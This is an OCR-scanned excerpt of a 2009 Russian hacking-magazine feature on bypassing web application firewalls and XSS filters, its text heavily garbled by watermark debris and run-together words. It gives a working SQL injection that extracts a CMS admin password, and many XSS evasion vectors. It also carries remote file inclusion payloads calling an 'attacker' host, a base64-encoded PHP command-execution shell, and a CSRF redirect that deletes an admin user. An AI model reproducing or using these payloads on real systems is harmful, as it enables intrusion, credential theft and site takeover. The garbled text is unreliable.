Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Скачиваний:
12
Добавлен:
20.04.2024
Размер:
17.96 Mб
Скачать

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

 

 

 

 

 

 

 

 

 

F

 

 

 

 

 

 

t

 

 

 

 

 

 

 

 

 

 

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

to

BUY

 

m

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

 

 

 

 

 

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

XSS ВGOOGLE CHROME

нулл-байту функции eregi(), поэтому для обхода проверки достаточно вставить в начале параметра %00. Даже при включенной директиве PHP magic_quotes_gpc нулл-байт не будет экранироваться, так как присутствует такой код:

if(!ini_get("register_globals") || (@get_cfg_var('register_globals')==1)) { @extract($_COOKIE,EXTR_SKIP); @extract($_POST,EXTR_SKIP); @extract($_GET,EXTR_SKIP); @extract($_REQUEST,EXTR_SKIP);

/* ... */ if(get_magic_quotes_gpc()) {

if($_POST) $_POST = stripslashesall($_ POST);

if($_GET) $_GET = stripslashesall($_GET); if($_REQUEST) $_REQUEST =

stripslashesall($_REQUEST); if($_COOKIE) $_COOKIE =

stripslashesall($_COOKIE);

}

Здесь важно отметить, что все данные, полученные напрямую из суперглобальных массивов ($_GET, $_POST, $_COOKIE, $_REQUEST), будут очищены от экранирующих символов, в то время как переменные, ранее введенные в локальное пространство из тех же массивов функцией extract(), останутся как есть. Уже на этом этапе видна несогласованность кода. Сама же SQL-инъекция находится в модуле голосований при добавлении комментариев:

$comtext=($setting['peditor']=="yes") ? commentparse($comtext) : deltags(commentparse($comtext));

$comname = (preparse($usermain['logged'],T HIS_INT)==1 && preparse($usermain['userid' ],THIS_INT)>0) ? $usermain['uname'] : subs tr(deltags($comname),0,50); $comtitle=substr(deltags($comtitle),0,255); $in=$db->query("INSERT INTO "

.$basepref."_polling_comment VALUES (NULL,'".$id."','".$usermain ['userid']."','".NEWTIME."', '$comname', '$comtitle','$comtext','".REMOTE_ ADDRS."')");

Уязвимость возникает после того, как значение пере-

менной comtitle обрезается функцией substr() до 255 символов. Ошибка разработчиков состоит в том, что данные сперва экранируются и только потом приводятся к требуемой длине, хотя должно быть наоборот. Это дает возможность проведения фрагментированной SQL-инъекции, несмотря на экранирование входящих данных при magic_quotes_gpc=on.

Для проведения успешной атаки необходимы следующие значения параметров:

comname — a-z значение от 5 символов до 10;

comtitle — 254 символа + кавычка;

comtext — /*%00*/, (SELECT adpwd FROM dn052_admin LIMIT 1), 1)-- -

Последним символом в значении переменной comtitle будет обратный слэш, который экранирует следующую за ним кавычку, что позволит выполнить код в переменной comtext. В итоге, получится SQL-запрос:

INSERT INTO dn052_polling_comment VALUES (NULL,'1','0','1230987393', 'antichat','a[252x]b\','/*\0*/, (SELECT adpwd FROM dn052_admin LIMIT 1), 1)-- -','127.0.0.1')

При просмотре страницы с комментариями в поле текста сообщения будет отображен пароль администратора.

СЛЕПЫЕ SQL-ИНЪЕКЦИИ

При проведении слепых SQL-инъекций грамотный WAF

— серьезное препятствие. Однако получить информацию из базы данных все же возможно при использовании альтернативных имен операторов и конструкций синтаксиса. Например, для MySQL применимы такие варианты:

В ситуациях, когда производится фильтрация по наличию того или иного символа в параметре, также есть свои альтернативы в зависимости от RDBS.

DVD

dvd

Всематериалывыступлений, инструменты, упомянутые встатье, атакже подборкабесплатных WAF доступнына диске.

Демонстрациюуяз-

вимостивDanneo CMS

смотринаDVD.

HTTP://WWW

links

www.webappsec. org — Web Application Security Consortium (WASC).

ru.wikipedia.org/ wiki/Сетевая_модель_OSI.

xiom.com — ресурс,

посвященныйисключительноWAF.

code.google.com/p/ waffit — проект wafw00f.

w3af.sourceforge.net

— фреймворкw3af.

www.netnea.com/ cms/?q=remo — GUI-

редакторправил

Remo.

XÀÊÅÐ 10 /130/ 09

059

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

t

 

 

P

D

 

 

 

 

 

 

 

 

o

 

 

 

 

 

NOW!

r

 

 

 

 

 

BUY

 

 

ВЗЛОМ

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

m

 

w Click

 

 

 

 

 

 

o

 

 

w

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

.c

 

 

 

 

p

df

 

 

 

 

e

 

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

ОБХОД РАЗЛИЧНЫХ ФИЛЬТРАЦИЙ

XSS

Cross site scripting является, пожалуй, самым обширным полем для новых идей по обходу WAF. Это обуславливается необычайной гибкостью языка JavaScript и адаптивностью браузеров к некорректному формату HTML. На прошедшей в августе конференции BlackHat была представлена работа по проведению XSS в условиях WAF. В презентации упомянуто большое количество трюков, позволяющих обмануть фильтры. Среди них:

<object

data="javascript:alert(0)">

<isindex

action=javascript:alert(1)

type=image>

<img src=x:alert(alt) onerror=eval(src) alt=0> <x:script xmlns:x="http://www. w3.org/1999/xhtml">alert('xss');</ x:script>

Самым интересным вектором оказался:

($=[$=[]][(__=!$+$)[_=-~-~- ~$]+({}+$)[_/_]+($$=($_=!''+$) [_/_]+$_[+$])])()[__[_/_]+__ [_+~$]+$_[_]+$$](_/_)

Выглядит устрашающе, не правда ли? На самом деле, код эквивалентен alert(1); подробный его разбор доступен здесь — http:// oxod.ru/?p=290.

Еще одна работа, которую стоит отметить — это статья о внедрении JS-кода в

HTTP-заголовки refresh и location (http:// websecurity.com.ua/3386). Следующий вектор из этой статьи может служить еще одним способом обхода WAF:

/?param=data:text/html;base64,PHNj

cmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==

alert(1), представленный в base64, выполнится в Opera, Safari и Chrome, если значение параметра попадет в атрибут URL заголовка refresh:

...

Refresh 0; URL = data:text/html;b

ase64,PHNjcmlwdD5hbGVydCgxKTwvc2N

yaXB0Pg==

...

Перечислять все возможные способы обхода WAF для проведения XSS можно очень долго, поэтому лучше поделюсь ссылками на сайты, где собственно и рождаются новые векторы:

http://ha.ckers.org/xss.html — многим знакомый XSS Cheat Sheet; много старья, но автор RSnake обещал в скором времени обновить список;

http://sla.ckers.org/forum/list.php?24

исключительно новые векторы от пользователей одного из самых лучших форумов по веб-безопасности;

http://maliciousmarkup.blogspot.com

блог по теме нестандартных способов выполнения JS-кода; жаль, почти не обновляется.

PATH TRAVERSAL/LFI/RFI

Почти все векторы из этой категории атак связаны с нулл-байтом, который распознают практически все WAF. Но и здесь появился новый способ, позволяющий отбросить расширение файла без использования ядовитого байта. Этот метод был обнаружен одним из пользователей форума sla.ckers.org и получил развитие в работах итальянской команды

USH.

Суть заключается в многократном повторении символа «/» после имени файла. Реализация атаки во многом зависит от платформы, наличия Suhosin patch и других обстоятельств. Допустим, есть уязвимый код:

<?php include("includes/" . $_ GET["inc"]. ".php");

?>

WAF не пропустит %00 в параметре inc, однако с новым способом возможен инклуд произвольных файлов:

/?inc=../.htpasswd////...4096...

///

Более подробно о таких атаках читай в моем блоге: raz0r.name/articles/null-byte- alternative.

Что касается Remote File Include (RFI), то атаки следующего вида давно стали легкой добычей WAF:

/?inc=http://attacker/s.txt?

060

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

ВИЗУАЛЬНОЕСОЗДАНИЕПРАВИЛ ДЛЯMOD_SECURITY ВREMO

С проблемой легко справляются следующие возможности PHP:

- Доступ по FTP:

/?inc=ftp://attacker/s.txt

Причем функция file_exists() вернет true. - Доступ к необработанным POST-данным

(только при allow_url_include=on):

POST /?inc=php://input HTTP/1.0

Host: localhost

Content-type: text/plain

Content-Length: 10

Connection: close

phpinfo();

- Использование враппера data (allow_url_ include=on):

/?inc=data:;base64,PD9waHAgc3lzdGV

tKCRfR0VUW2NdKTsgPz4=&c=dir

- А также compress.

zlib://, php://filter, ogg:// è äð.

ЗАКЛЮЧЕНИЕ

РазвитиеWebApplicationFirewallнестоитнаместе.

Вместестемпоявляютсявсеновыеметодыобхода различныхограничений.Будьтопростенькийфильтр наPHPилижемогучийWAF—придетальномрассмо- трениииупорноманализеубеждаешься,чтоничтоне лишенослабыхмест.Когдаэксплуатированиеуязви- мости,обнаруженнойвкаком-либовеб-приложении, становитсязатруднительнымввиду,казалосьбы, непреступнойзащитыWAF,нестоитбросатьначатое дело.Нужнолишьвникнутьвтонкостиработысистемы,итогдаверныйпутьстанеточевидным.z

XÀÊÅÐ 10 /130/ 09

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Ðå ê ë à ì à

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

F

 

 

 

 

 

 

t

 

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

to

BUY

 

 

 

 

 

ВЗЛОМ

 

w Click

 

 

 

 

 

 

ВЛАДИМИР «D0ZNP» ВОРОНЦОВ HTTP://OXOD.RU

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

o

 

 

w

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

.c

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

СХЕМАОБХОДАFIREWALL

СПОМОЩЬЮXSS. БЛИЗКОКСЕРДЦУ НЕПРИНИМАТЬ

СКАЗКИ XSSАХИРИЗАДЫ

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

1000 И1 СПОСОБОБОЙТИXSS-ФИЛЬТР

Янеперестаюудивлятьсяэтомумиру! Еслибыдвенеделиназадктонибудьсказалмне, чтоябудуписатьстатьювz, посвященнуюмежсайтовомускриптингу— ябырассмеялсяипопросилэтойчуднойлебеды. Ножизньнатоижизнь, чтобынеподдаватьсяпрогнозам, автвоих рукахсейчасматериальноедоказательствоэтогофакта. Неторопись пролистыватьстатью! Какпоказалапрактика, дажеопытныеспециалистыпринаписаниифильтровнеучитываютмножествавариантов, ограничиваясьлишьтем, чтоможнонайтинаha.ckers.org/xss.html.

29 АВГУСТА, 12:00, ПИТЕР

конкурсантов— обойтифильтрипоказать

скоронахожупервыйвариантатаки, минутче-

ВрамкахфестиваляChaos Construction

примеродногоизстандартныхвидоватаки.

рез30 — второй. Получается, чточерезфильтр

2009 стартуетконкурсRealtime Bitrix WAF

Сайтзаведомосодержитуязвимости, нополь-

проходятследующиестроки:

Hack. Организаторы— «1С-Битрикс» и

зовательскиеданныефильтруютсяWAF. Меня

 

Possitive Technologies. Смыслзатеи— про-

привлекаетэксплуатацияXSS толькопотому,

<style>

тестироватьфильтрпроактивнойзащиты

чтодляконкурсаHack-Video янашелXSS-уяз-

@\69\6D\70\6F\72\74 url(http://

WebApplicationFirewall. Эташтуковинаобраба-

вимостьвполеReferer боевого«Битрикса»

onsec.ru/xss.css);

тываетданные, поступающиеотпользователя

версии8.0.5. Банальные><script> иonMouse* я

</style>

(http-заголовкииGPC) напредметналичия

ужепопробовалдома, такчтоначинаюрытьсяв

style=onsec:e\xp\re\s\

внихSQL-injection, XSS, LFI иRFI. Задача

памятиипробуювариантыпохитрее. Довольно

s\i\o\n(alert(‘XSS’))

 

 

 

062

XÀÊÅÐ 10 /130/ 09

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

HTML-ТРЮКИСОЗНАМЕНИТОЙ ПРЕЗЕНТАЦИИНАТЕМУXSS C BLACKHAT 2009

ЭтивариантыпроверяюподIE 7. Какпотомоказалось, второйещеиобходитвстроенныйфильтр XSS IE8. Наулицестоитболеечемхорошая погодадляавгустовскогоПитера, — поэтомуна большееменянехватает. Вечеромследующего днявыясняется, чтомоипопыткибылисамыми плодотворными. Этотфактменянеперестает удивлятьдосихпор, иименноонявляетсяосновойпричинойнаписаниястатьи.

7 СЕНТЯБРЯ, 01:00, МОСКВА

Немногоотойдяотпроизошедшегоиполучив внаградуHTC-шкуот«Битрикс», японял, что менягложетинтереснайтиещечто-нибудьв пресловутомWAF (затративнапоискине40 минут, ахотябыполторачаса). Кэтомувремени фильтружезалатали, style теперьнепропускаетниввидетэга, ниввидеатрибута. Фокусс escape-кодированиемтоженепроходит, равно каки\. Спокойночитаюспецификацию набраузерыинахожуприятнуювозможность использоватьbehavior подIE, которойтакине сумелвоспользоватьсянаСС09 ввидуотсутс-

твиялокальногофайланужногоконтента:

<P STYLE="b\eh\a\v\i& #92o\r:url('#default#time2')"

MSDN — КЛАДЕЗЬЗНАНИЙ. ЕСЛИ НАДОНАЙТИНЕФИЛЬТРУЕМЫЙ EVENT — ТЕБЕСЮДА

ОНЛАЙН-СЕРВИСJJ-ENCODE ДЛЯ ПРИДАНИЯJAVASCRIPT ЗАКОН-

ЧЕННОГОВИДА:)

onEnd="alert('ONSEC.ru russian security team')">

Вмоейверсиифильтраонауженеработает, нонаконкурсебылабыкакразвтему. Затем нашласьещеоднанефильтруемаяXSS:

<MARQUEE BEHAVIOR="alternate" onbounce="alert('ONSEC.ru')">xss </MARQUEE>

èëè

<MARQUEE onstart="alert('ONSEC. ru')">xss</MARQUEE>

ВотличиеотbehaviorтакоеработаетивIE8,ив FF3.5.Послеэтогоот«несистемного»подходак поискууязвимостейяотказываюсь.Формализую задачупоискавозможныхXSSдопоисканефильтруемыхтэгов,атрибутовизначенийатрибутов.

АТРИБУТЫ

Сточкизренияхакеранаиболееинтересныатрибутысобытий(Events), потомучтоэтопрямой способквыполнениюJavaScript-кодабезтэга <script>. Болеетого, длябраузеровсовершенноэквивалентыследующиеварианты:

<a href="" onMouseMove="alert(1)"> <a href="" onMouseMove=”javascript: alert(1)">

<a href="

onMouseMove="xakep:alert(1)"> <a href="" onMouseMove="nonxss:alert(1)">

ЭтоточноработаетивIE 8, Opera 10.00, Firefox 3.5, Safari, Chrome. Какдумаешь, всефильтры имеютправильныерегулярныевыражения подтакиестроки? Большинстводействительноимеют, поэтомупростонамотаемнауси двинемсядальше.

Уатрибутовсобытийтринедостатка:

1.Вызовпроисходитпослечего-то, иэто«чтото» частотребуеткаких-тодействийсостороны пользователя.

2.Всеатрибутысобытийначинаютсяна

«on», — чтотеоретическипозволяетнаписать регулярноевыраженияподнихвсех.

3.Обычноониприменимытолькокопределеннымтэгам.

Расстраиватьсятутнезачем— ещениодин фильтрнеимеетрегулярноговыраженияпод всесобытиясразу. Связаноэто, преждевсего, сложнымисрабатываниями, нообэтомпозже. Такчто— фильтруютсяобычноконкретные события, итутиз-засобственнойленипро- граммистызабываютпрочитатьспецификации браузеровилихотябыMSDN, ограничиваясь

двумя-тремя, влучшемслучаедесятьюсобытиями. Асколькоихнасамомделе? Наэтотвопрося тожехотелбызнатьответ, нодляегополучения требуется, какминимум, собратьвместевсе версиивсехсуществующихбраузеровирасковырятьих, потомучтовдокументациитожене всегдавсеописано. Нижеяприведунаиболее полныйсписок, которыйсобиралпокрупицам:

Onabort; onactivate; onafterprint; onafterupdate; onbeforeactivate; onbeforecopy; onbeforecut; onbeforedeactivate; onbeforeeditfocus; onbeforepaste; onbeforeprint; onbeforeunload; onbeforeupdate; onblur; onbounce; oncellchange; onchange;

onclick; oncontextmenu; oncontrolselect; oncopy; oncut; ondataavailable; ondatasetchanged; ondatasetcomplete; ondblclick; ondeactivate; ondrag; ondragdrop; ondragend; ondragenter; ondragleave; ondragover; ondragstart; ondrop; onerror; onerrorupdate; onfilterchange; onfinish; onfocus;

onfocusin; onfocusout; onhashchange; onhelp;

onkeydown; onkeypress; onkeyup; onlayoutcomplete; onload;

onlosecapture; onmessage; onmousedown; onmouseenter; onmousemove; onmouseout; onmouseover; onmouseup; onmove; onmoveend; onmovestart; onoffline; ononline;

onpage; onpaste; onprogress; onpropertychange; onreadystatechange; onreset; onresize; onresizeend; onresizestart; onrowenter; onrowexit; onrowsdelete; onrowsinserted; onscroll; onselect; onselectionchange; onselectstart; onstart; onstop;

onstorage; onstoragecommit; onsubmit; ontimeerror; ontimeout; onunload;

onend; onMediaComplete; onMediaError; onOutOfSync; onPause; onRepeat;

onResume; onReverse; onSeek; onSynchRestored; onTrackChange; onURLFlip.

Нучто, несколькобольшечемтыожидал? Это ещедаженевесьсписоктого, чтоясобрал, не-

XÀÊÅÐ 10 /130/ 09

063

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

to

BUY

 

 

 

 

 

ВЗЛОМ

w Click

 

 

 

 

 

m

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

WARNING

info

Внимание! Информацияпредставлена исключительно сцельюознаком-

ления! Ниавтор, ни редакциязатвои действияответственностиненесут!

HTTP://WWW

links

oxod.ru — мой блог. Пишупомере желания. Ждукомментариев, отвечуна вопросы.

utf-8.jp/public/ jjencode.html — сер-

виспошифрованию

JavaScript.

p42.us/favxss/fav. ppt — презентация

XSS filters bypass сBlackHat 2009.

disenchant.ch/ blog/wp-content/ uploads/2008/05/ xss_presentation.pdf

— довольнобольшая, нонеоченьинтереснаяпрезентацияпо

XSS.

slideshare.net/ guestdb261a/ csrfrsa2008 jeremiah grossman-

349028 — рекомендую ознакомиться сматериаламина темуCSRF.

ДЕМОНСТРАЦИЯИДЕИCLICKJACKING

которыекускипотерялись;). Потенциальнокаждаястрочка изэтогосписка— XSS-уязвимость. Но, во-первых, невсегда удается«прислонить» еекнужномуатрибуту, аво-вторых, невсегдаудаетсяспровоцироватьнужноедлявыполнения кодадействие. НарядуссобытиямидляXSS-атакимогут использоватьсяидругиеатрибуты. Вотизвестныемне:

codebase dynsrc lowsrc xmlns

seekSegmentTime src

style

Невсеизнихтривиальномогутбытьиспользованы, однако, когдаисследуешьфильтр, незнаешьзаранееничегоинадо собратькакможнобольшенефильтруемыхисключений, чтобыпотомизнихужеготовитьконкретнуюатаку.

ТЕГИ

Предположим, фильтрдаетвозможностьвыводитьна страницусимволы<>, такимобразом, можнопробоватьразличныетеги. Здесьопятьразработчикиоставляютхакерам поледлядействий. Вотсписоктегов, которыепригодятся:

Style

Script

Embed

Object

Applet

Meta

Iframe

Frame

Frameset

Ilayer

Layer

Bgsound

Base

Xml

Import

Link

Html

Img

Яневключаюсюдатотже<MARQUEE>, хотявышесам приводилатакусегопомощью. Делаюэтоумышленно— по тойжелогикеможнобыловключитьсюдавообщевсетеги

ЕСЛИХАКЕРСТАВИТПЕРЕД СОБОЙЦЕЛЬПОЛУЧИТЬ ПОЛЬЗУОТXSS-АТАКИ,ОН СДЕЛАЕТВРЕДОНОСНЫЙ КОДКОМБИНИРОВАННЫМ.

HTML. Такжевэтомспискеестьархаизмывроде<ilayer>, — я даженеберусьсказать, начинаяскакихверсий, популярные браузерыпересталиегоподдерживать. Однаконезабывай: XSS — этоиграсбраузероминенадопренебрегатьлюбой возможностью. Еслихакерставитпередсобойцельполучить пользуотXSS-атаки, онобязательносделаетвредоносныйкодкомбинированным, включитнесколькотеговпод разныеверсииразныхбраузеров. Пригодитсяссылкаwww. browsertests.org, — тамможнонайтирезультатытестированиямногихатрибутовитеговвразличныхбраузерах.

CSRF, ИЛИНЕJAVASCRIPT’ОМ ЕДИНЫМ

КромевыполненияJavaScript (нуилитогожеVBScript) кода, схожиеатакимогутприменятьсядляотправки запросовбезведомапользователя. Ониполучилина-

званиеCross-Site Request Forgery. Самыйтривиаль-

ныйспособ— <img src=http://megasite.ru/

mygetrequest?mygetparam=value>. Приобработке такоготегавнутрилюбойHTML-страницыбраузерпользова- телясразуполезетискатькартинкупоадресу, тоестьотправит тудаHTTP GET запрос. Такимобразом, можно, например, попробоватьотправитьзапроскадминке, еслионатакая небезопасная, чтопринимаетGET. Администраторзаходит настраницуиегобраузерлезетискатькартинку, отправляя запросадминистративномускрипту(разумеется, справиль- нымикукисамиадминистратораиотегоIP-адреса). Если фильтруютсярасширенияилиключевыесловазапроса— не беда. Такая«защита» выеденногояйцанестоит. Согласно спецификацииhttp-протокола, статус3ххговоритоперемещенииконтентаинадопослатьзапроснауказанныйадрес. Создаемскриптimg.php (можноиimg.gif, настроивсвойвебсерверсоответствующимобразом) следующегосодержания:

<?php

header('Location: http://attacked-host/ admin.php?act=delUser&id=1');

die();

?>

иполучаемровнымсчетомтожесамое. Такимобразом, все, чтопозволяетвставлятьсвоикартинкивсообщения подходитдляатаки. Тутянемноголукавлю, потомучтовебприложениеможетзапроситьбайтытвоего«рисунка» и прогнатьихчерезграфическуюбиблиотеку, напримерLibGD. Тогдатакойспособнепройдет. Впрочем, подобныхвеб-при- ложенийоченьмало. Ноэтоещелегко. ЕслиестьJavaScript

можноработатьсDOM-объектами, например, отправлять формы. Это, какминимум, даетужеPOST-запрос. Просто создаешьdocument.write нужныеобъектыform, input ивсе остальноегде-нибудьвневидимомdiv, апотомделаешь document.myform.submit(). ЕщеможноотправитьPOST-

запросчерезвстроенныеобъектыwindow.ActiveXObject

дляInternet Explorer иwindow.XMLHttpRequest дляMozilla,

064

XÀÊÅÐ 10 /130/ 09

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t
